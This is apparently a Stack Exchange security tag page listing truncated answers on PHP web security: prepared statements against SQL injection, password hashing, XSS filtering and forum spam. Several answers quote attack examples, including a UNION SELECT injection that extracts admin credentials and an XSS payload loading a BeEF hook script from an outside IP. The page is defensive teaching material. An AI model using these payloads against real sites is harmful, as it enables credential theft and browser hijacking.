Tag Info

Hot answers tagged

14

No. SQL Injection should be prevented by parameterizing your queries. OWASP has some great resources to help you with this. Here is one such sheet to show this in several languages. The PHP cheat sheet also has some more information regarding sql injection. To directly address your hard coded filter function check out this source demonstrating the ...


12

If there is no external interface to the lookup table, then you probably don't need to scrub the data coming out of those tables for security reasons. But it might be easier to always scrub data you are presenting rather than adding exceptions. Also, if the data in the lookup tables is safe for HTML output, what happens when you switch to CSV output? Is it ...


7

No, it doesn't, use prepared statements as is plus single query functions and proper input validation. The latter one is the default for most functions in PHP (e.g. mysqli::query Vs. mysqli::multi_query). Prepared Statements Prepared statements will forward the data of a variable and its type separately to your DBMS which in turn will either escape all ...


6

So you're storing database passwords and cryptographic secrets in a file within the web root, possibly because low-end web hosting has no other storage for these secrets. Entering this file's name as the path in an HTTP GET request will retrieve its contents. Even if you provide "no web based file explorer", a malicious user may still end up correctly ...


3

There is no need to do extra checks if you are using a prepared statement with parameters. This is the industry standard for preventing SQL Injection in PHP. With the example you provided you would be 100% protected (not 99.9%) from SQL Injection (at least based on what we know today, who knows what the future holds). That said, there are ...


3

password_verify() takes two arguments: a string of which you want to check if it's the correct password, and the value you calculated earlier with password_hash(), which you presumably stored somewhere in a database or so. A typical application could be: <?php $hash = password_hash('my-secret', PASSWORD_DEFAULT); // normally you would save the hash ...


3

From the sample you provided, it looks like forum spam where the poster is trying to advertise. I was unable to spot anything malicious at first glance, although the target sites might host malware. It IS possible that they might be trying to trigger a DoS scenario by clogging your forms, but there are more efficient ways to do that. Just looks like simple ...


3

128bit AES has 128 bit keys by definition. If the key is 32 bytes, it's AES-256. Perhaps your key consists of 32 hex characters, which only map to 16 bytes or 128 bits. Note that all variants of AES, map to MCRYPT_RIJNDAEL_128 in php, since that 128 is the block size and AES has 128 bit blocks regardless of the key size. As Xander said, your code it very ...


3

DDoS attack related charactaristics: This definitely has the characteristics of Distributed Denial of Service (DDoS) attack, and this is the first thing I suspect. The items that lead me to believe this are: Wide variety of sources (distributed) I'm seeing a bunch of these requests with tons of different agents (it appears in your log post the ...


2

What you describe is not in and of itself a vulnerability. However, if logging in does not completely over-write client-side session information (eg. cookies or other persistent storage), or if elements of the session are tied to the client's IP address, there is the potential for a privilege-escalation or session hijacking attack.


2

It may be possible using select into SELECT id FROM table1 WHERE id = 1 INTO table2 However as the attacker does not directly control the id value the attacker would need another method of controlling this data for the attack to be able to have a meaningful impact.


2

Query stacking, ie select * from tbl; update ... -- is forbidden by most database management systems. In order to enable query stacking in PHP/MySQL, the application must use the mysql_mutli_query() function to execute the query. This function is uncommon in the wild. In SQL injection without query stacking, the attacker is limited by accessible query ...


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


2

I would not use ESAPI-PHP. It's a port of the Java ESAPI framework, (which has had its own issues, but soldiers on, more or less, mostly less) but the PHP port has been dead for a considerable amount of time now. I wouldn't trust it as far as I could throw it. I can't speak authoritatively to the PHP Security Project, but at a glance, the PHP Security ...


1

I have used HTML Purifier before and have been pretty satisfied. http://htmlpurifier.org/ However, I have not performend extensive/advanced testing on it. The basic XSS attempts get caught, the website seems to show the maintainter has a knack for this thing so I assume it is not a bogus project. If anyone on here believes otherwise, please let me know.


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.


1

This appears to be standard link farming/blackhat SEO, where the spammer is attempting to increase the google page rank of the target domain by significantly increasing the amount of links to the target website. The nofollow link attribute was introduced to combat this type of attack, but it looks like it may not be applicable in this scenario as the ...


1

The answer depends on what's in that table column and how it is intended to be used. In most cases escaping the data before inserting it into html is the right thing to do. There might be situations where the purpose of a table is to store fragments of html which an administrator can update in order to display certain data on the site. Usually this would be ...


1

I generally inform my clients about the multiple login "issue", especially when there is no last logon information available. Is it a vulnerability? Personally, I don't think it is, it could be a feature where a client sometimes requires to be logged in multiple times (due to poor application development for example). I call this finding "Simultaneous login ...


1

Don't write directly the files! Use a logging service (or in the case of the Apache error_log just print into the stderr). And make sure that the logs are outside the document root - if the webserver can be fooled into serving them up as PHP files then you have a major code injection vulnerability. if the log file is subsequently opened/read via command ...


1

Yes. This data should be useful to help debug errors, however, there are at least a few (maybe more) potential security pitfalls to consider: Is any of the data privacy sensitive (like social security numbers, passwords, addresses, etc...?) If so, there could be privacy concerns, but those most of those concerns should already exist with the website ...


1

As @Douglas and @fleshgrinder said before, no. Consider the following request: SELECT title, news FROM news_table WHERE id = $id Applied for $id = 5 is fine, now if $id = 5 OR 1=1 will display all the news... Not a big deal? Now if $id = 5 UNION SELECT login as title, password as news from secret_credentials_table where is_admin = 1 should also be a ...



Only top voted, non community-wiki answers of a minimum length are eligible